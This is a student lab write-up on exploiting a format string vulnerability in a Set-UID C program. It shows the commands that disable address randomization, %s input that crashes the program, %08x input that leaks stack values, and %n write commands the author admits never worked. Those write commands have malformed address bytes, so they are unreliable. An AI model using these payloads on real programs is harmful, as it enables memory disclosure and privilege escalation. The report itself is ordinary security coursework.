CSCI 401 - Lab 5

Prof. Kadri Brogi

March 6,2020

Emranul Hakim

Format String Vulnerability

Before understanding the Format String Vulnerability, we have to know what Format string is. There is a function in C language call Printf () which used to print out string and its first argument called format string. It defines how the string should be formatted. The Printf() function is quite different from any other print out function. Printf() accepts any number of arguments. Imagine the format string asks for 3 arguments, but the program actually provides only two. If it was other function, it would've show error, but Printf() does not bother by it.

Goal: Our goal is to understand format string and its vulnerability and exploit the vulnerability it.

Task 1: Exploit the Vulnerability:

Task 1.1: Crash the Program

Before we start the Task 1.1, we have to compile the vulnerable program and make it root-owned Set-UID program. Our attacks require us to know the exact memory address of a certain area, so we will turn off the system address randomization to obtain the address easily. Without turning off the system address randomization, it is difficult, almost impossible to find the target area's address. If you don't know the target area's address, our attack will fail.

```
[10/08/19]seed@VM:~$ gcc -o vul vul.c
vul.c: In function 'main':
vul.c:20:10: warning: format '%x' expects argument of type 'unsigned int', bu
rgument 2 has type 'int **' [-Wformat=]
   printf("The variable secret's address is 0x%8x (on stack)\n", &secret);
          ^
vul.c:21:10: warning: format '%x' expects argument of type 'unsigned int', bu
rgument 2 has type 'int *' [-Wformat=]
   printf("The variable secret's value is 0x%8x (on heap)\n", secret);
          ^
vul.c:22:10: warning: format '%x' expects argument of type 'unsigned int', bu
rgument 2 has type 'int *' [-Wformat=]
   printf("secret[0]'s address is 0x%8x (on heap)\n", &secret[0]);
```

```
[10/08/19]seed@VM:~$ sudo chown root vul
[10/08/19]seed@VM:~$ sudo chmod 4755 vul
[10/08/19]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
```

For this attack, we simply want to crash the given vulnerable program. Our task is to create an input, which is given to the Printf() function as a format string.

```
[10/08/19]seed@VM:~$ ./vul
The variable secret's address is 0xbfffed60 (on stack)
The variable secret's value is 0x 804b008 (on heap)
secret[0]'s address is 0x 804b008 (on heap)
secret[1]'s address is 0x 804b00c (on heap)
Please enter a decimal integer
%s%s%s%s%s%s%s%s%s
Please enter a string
Segmentation fault
```

Explanation: We ran Vulnerable program, and use %S%S%S%S%S%S%S%S as an input (% = Format Specifier). Because the format specifier is %S, the printf() treats the obtained values as an address and start to print out the data from that address.

We can see that program is crashed. If you cannot get the program crash, we will add more %S. Eventually, one of them will encounter an invalid address and crash the program.

Task 2.2: Print Out the Secret [1] value:

There is a secret value stored inside the program, and we will use the format string vulnerability to get the program to print out the secret value for us.

```
[12/04/19]seed@VM:~$ ./vul
The variable secret's address is 0xbfffed60 (on stack)
The variable secret's value is 0x 804fa88 (on heap)
secret[0]'s address is 0x 804fa88 (on heap)
secret[1]'s address is 0x 804fa8c (on heap)
Please enter a decimal integer
1
Please enter a string
%08x..%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
bfffed68..b7fff918.b7fd6990.b7fd4240.b7fe97a2.b7fd6b48.bfffee84.0804fa88.00000001.78383025
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x55
[12/04/19]seed@VM:~$
```

We used %08x %08x %08x %08x %08x %08x %08x %08x as an input. We used trial-and-error to know how many we have to use.

From the following result, we can see that the secret value is 0000001. It printed by 9th %08x

Task 2.3 Modify the Secret [1] value:

I have tried multiple times to modify the secret [1] value, but my terminal is not executing the line. However, by reading the book, I understand how it would look like if it had worked.

We have to use a command:

echo $(printf "\x8c\xFA\x04\x8") .%x.%x.%x.%x.%x.%x.%x.%x.%n > input

%n = writes the number of characters printed out so far into the memory. Suppose, there is five character at address. Instead of printing these five characters, it will store 5 to the provided memory. That's why we use %n to modify the Secret [1].

Task 2.4 Modify the secret [1] value to pre-determined values:

I have also given multiple attempts, but I could not really figure out. I am assuming it will use the command:

echo $(printf "\x8c\xFA\x04\x8") .%x.%x.%x.%x.%x.%x.%x.%x.00000001%n > input

Before %n command, I put secret vales 00000001.

And It will change the data.

Task 2: Memory Randomization:

When you run the program once again. Will you get the same address?

If you turn on the address randomization. I will be almost impossible to guess any address. If you cannot guess the exact address, attack will fail.

I turn off the address randomization and repeat the Task 1. All my attempt failed.

Summary:

Format-String vulnerabilities are causes by the mismatching number of format specifiers (%s,%x,%d) and optional arguments (...). For every format specifier, an argument will be fetched from the stack. If the number of format specifiers is more than the actual number of arguments placed on stack, the printf() function will reach beyond its stack frame and act like other data on the stack as its argument. Format string could cause a major damage to the victim. By crafting a good format string, attack can change the return address of the function. When attacker is able to change the return address, he can make the program to jump to his malicious code which could be a huge security breach. Since Format- string has to do with programming, developer have to be careful not to let untrustworthy users decide the content of format strings.